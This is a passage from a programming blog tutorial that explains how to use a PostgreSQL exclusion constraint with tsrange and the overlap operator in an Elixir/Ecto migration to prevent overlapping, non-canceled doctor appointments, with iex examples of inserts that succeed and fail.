&lt;p&gt;Since we execute custom SQL code with &lt;code&gt;execute&lt;/code&gt;, we need to divide the migration into &lt;code&gt;up&lt;/code&gt; and &lt;code&gt;down&lt;/code&gt; functions instead of using a single &lt;code&gt;change&lt;/code&gt; function. Otherwise, Ecto wouldn&apos;t know how to roll back the custom code.&lt;/p&gt;
&lt;p&gt;Now, let&apos;s go through the migration. First, we create the &lt;code&gt;appointments&lt;/code&gt; table. Nothing fancy here. Then, we enable the &lt;code&gt;btree_gist&lt;/code&gt; extension, if it isn&apos;t active already. We need that extension to create an index for the exclusion constraint. Now comes the interesting part.&lt;/p&gt;
&lt;p&gt;After creating the table, we alter it and add a constraint called &lt;code&gt;overlapping_appointments&lt;/code&gt;. We define the constraint using the &lt;a href=&quot;https://www.postgresql.org/docs/current/sql-createtable.html#SQL-CREATETABLE-EXCLUDE&quot;&gt;EXCLUDE USING&lt;/a&gt; instruction. We use a &lt;code&gt;GIST&lt;/code&gt; index here, but you can use any other &lt;a href=&quot;https://www.postgresql.org/docs/current/indexes-types.html&quot;&gt;index type&lt;/a&gt; as well. Now, let&apos;s look at the comparisons.&lt;/p&gt;
&lt;p&gt;Each comparison has the format &lt;code&gt;field WITH operator&lt;/code&gt;. You can use any &lt;code&gt;field&lt;/code&gt; from your schema and any built-in &lt;a href=&quot;https://www.postgresql.org/docs/15/functions.html&quot;&gt;operator&lt;/a&gt;. In our case, we first check the &lt;code&gt;doctor_id&lt;/code&gt; for equality with the &lt;code&gt;=&lt;/code&gt; operator. This effectively filters the existing data for the &lt;code&gt;doctor_id&lt;/code&gt; for which we want to insert an appointment.&lt;/p&gt;
&lt;p&gt;Next, we want to compare the appointment time slot using Postgres&apos; &lt;a href=&quot;https://www.postgresql.org/docs/9.4/functions-range.html#RANGE-OPERATORS-TABLE&quot;&gt;overlap&lt;/a&gt; operator &lt;code&gt;&amp;&amp;&lt;/code&gt;. This operator is probably the most efficient method to compare overlapping time intervals, geometric shapes, or any other &lt;a href=&quot;https://www.postgresql.org/docs/current/rangetypes.html&quot;&gt;range type&lt;/a&gt;. To use it, we first need to create a &lt;code&gt;timestamp range without a time zone&lt;/code&gt; from the &lt;code&gt;from&lt;/code&gt; and &lt;code&gt;until&lt;/code&gt; fields. We do that using the &lt;a href=&quot;https://www.postgresql.org/docs/current/rangetypes.html#RANGETYPES-BUILTIN&quot;&gt;tsrange&lt;/a&gt; operator. Its parameters are the lower bound of the range &lt;code&gt;from&lt;/code&gt;, the upper bound &lt;code&gt;until&lt;/code&gt;, and a description of whether the bounds are &lt;code&gt;inclusive&lt;/code&gt; or &lt;code&gt;exclusive&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We want to create a time range up to, but not including, our upper bound and use the &lt;code&gt;[)&lt;/code&gt; bounds. This way, we can insert more sane upper bounds like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;from: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;U&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;2022-01-01 09:00:00Z&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;until: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;U&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;2022-01-01 10:00:00Z&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result of the &lt;code&gt;tsrange&lt;/code&gt;-function using these values and the &lt;code&gt;[)&lt;/code&gt; bounds will create a time range from &lt;code&gt;09:00:00&lt;/code&gt; until &lt;code&gt;09:59:59&lt;/code&gt;, because it excludes the upper bound. The next appointment can then start at &lt;code&gt;10:00:00&lt;/code&gt; and end at &lt;code&gt;11:00:00&lt;/code&gt;. This makes the timestamp a bit more readable, but might confuse future-you because you&apos;ll certainly forget about this detail and will wonder why you see overlapping timestamps in your database. So, use exclusive upper bounds mindfully.&lt;/p&gt;
&lt;p&gt;If you want to have explicit timestamps, you can use the &lt;code&gt;[]&lt;/code&gt; bounds instead. This will include your upper bound in the range. It means that you need to define the appointments with timestamps like this though:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;from: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;U&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;2022-01-01 09:00:00Z&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Note the `09:59:59` upper bound here&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;until: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;U&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;2022-01-01 09:59:59Z&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The next appointment would then start at &lt;code&gt;10:00:00&lt;/code&gt; and end at &lt;code&gt;10:59:59&lt;/code&gt;. It&apos;s up to you which bounds to use.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: If you have timestamps &lt;strong&gt;with&lt;/strong&gt; time zones, you can use the &lt;code&gt;tstzrange&lt;/code&gt;-operator instead. BUT: For your own sanity, better use &lt;code&gt;utc_datetime&lt;/code&gt; for &lt;strong&gt;all&lt;/strong&gt; your DateTime data. Trust me. Timezones in the database are &lt;strong&gt;PAIN&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now, that we created the range, we can use the &lt;code&gt;&amp;&amp;&lt;/code&gt;-operator to check whether the existing and the input range overlap. The complete comparison looks like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;tsrange&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;from&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;until&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;[)&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; WITH &lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&amp;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;&amp;&amp;&lt;/code&gt;-operator also checks for partial overlaps (e.g. &lt;code&gt;09:00-10:00 and 09:30-10:30&lt;/code&gt; overlap and &lt;code&gt;09:00-10:00 and 09:15-09:30&lt;/code&gt; overlap also). So, whenever an existing range and the input range overlap, this operator returns &lt;code&gt;TRUE&lt;/code&gt; and our insertion will fail. Neat!&lt;/p&gt;
&lt;p&gt;Lastly, we want to ignore canceled appointments and add the &lt;code&gt;where (NOT canceled)&lt;/code&gt;-condition. This instructs Postgres to ignore all canceled appointments in the exclusion constraint. We can now insert overlapping appointments if one of them is canceled.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#giving-it-a-spin&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;giving-it-a-spin&quot;&gt;&lt;/a&gt;Giving it a spin&lt;/h2&gt;
&lt;p&gt;With all this in place, let&apos;s run our migrations with &lt;code&gt;mix ecto.migrate&lt;/code&gt; and try it out!&lt;/p&gt;
&lt;p&gt;Let&apos;s create an appointment first:&lt;/p&gt;
&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Appointments&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_appointment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;doctor_id: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;canceled: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;from: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;U&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;2022-01-01 09:00:00Z&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;until: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;U&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;2022-01-01 09:59:00Z&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_appointment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, let&apos;s try to insert an overlapping appointment and see what happens:&lt;/p&gt;
&lt;pre id=&quot;code-block-8&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Appointments&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_appointment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;doctor_id: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;canceled: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;from: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;U&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;2022-01-01 09:00:00Z&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;until: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;U&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;2022-01-01 09:59:00Z&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;#Ecto.Changeset&lt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;action: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;changes: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;errors: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;from: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;        &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;violates an exclusion constraint&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;          &lt;span style=&quot;color: #79c0ff;&quot;&gt;constraint: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:exclusion&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;          &lt;span style=&quot;color: #79c0ff;&quot;&gt;constraint_name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;overlapping_appointments&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;data: &lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;#Demo.Appointments.Appointment&lt;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;valid?&lt;/span&gt;: &lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;  &gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Postgres and Ecto block the insertion and return a proper error message. Nice! Exactly what we wanted 💪&lt;/p&gt;
&lt;p&gt;Next, let&apos;s try to create an appointment that overlaps a canceled appointment:&lt;/p&gt;
&lt;pre id=&quot;code-block-9&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Appointments&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_appointment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;doctor_id: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;canceled: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;from: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;U&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;2022-01-01 09:00:00Z&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;until: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;U&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;2022-01-01 09:59:00Z&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_appointment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Appointments&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_appointment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;doctor_id: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;canceled: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;from: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;U&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;2022-01-01 09:00:00Z&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;until: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;U&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;2022-01-01 09:59:00Z&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_appointment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This also works! Very nice 🥳&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#another-small-benefit&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;another-small-benefit&quot;&gt;&lt;/a&gt;Another small benefit&lt;/h3&gt;
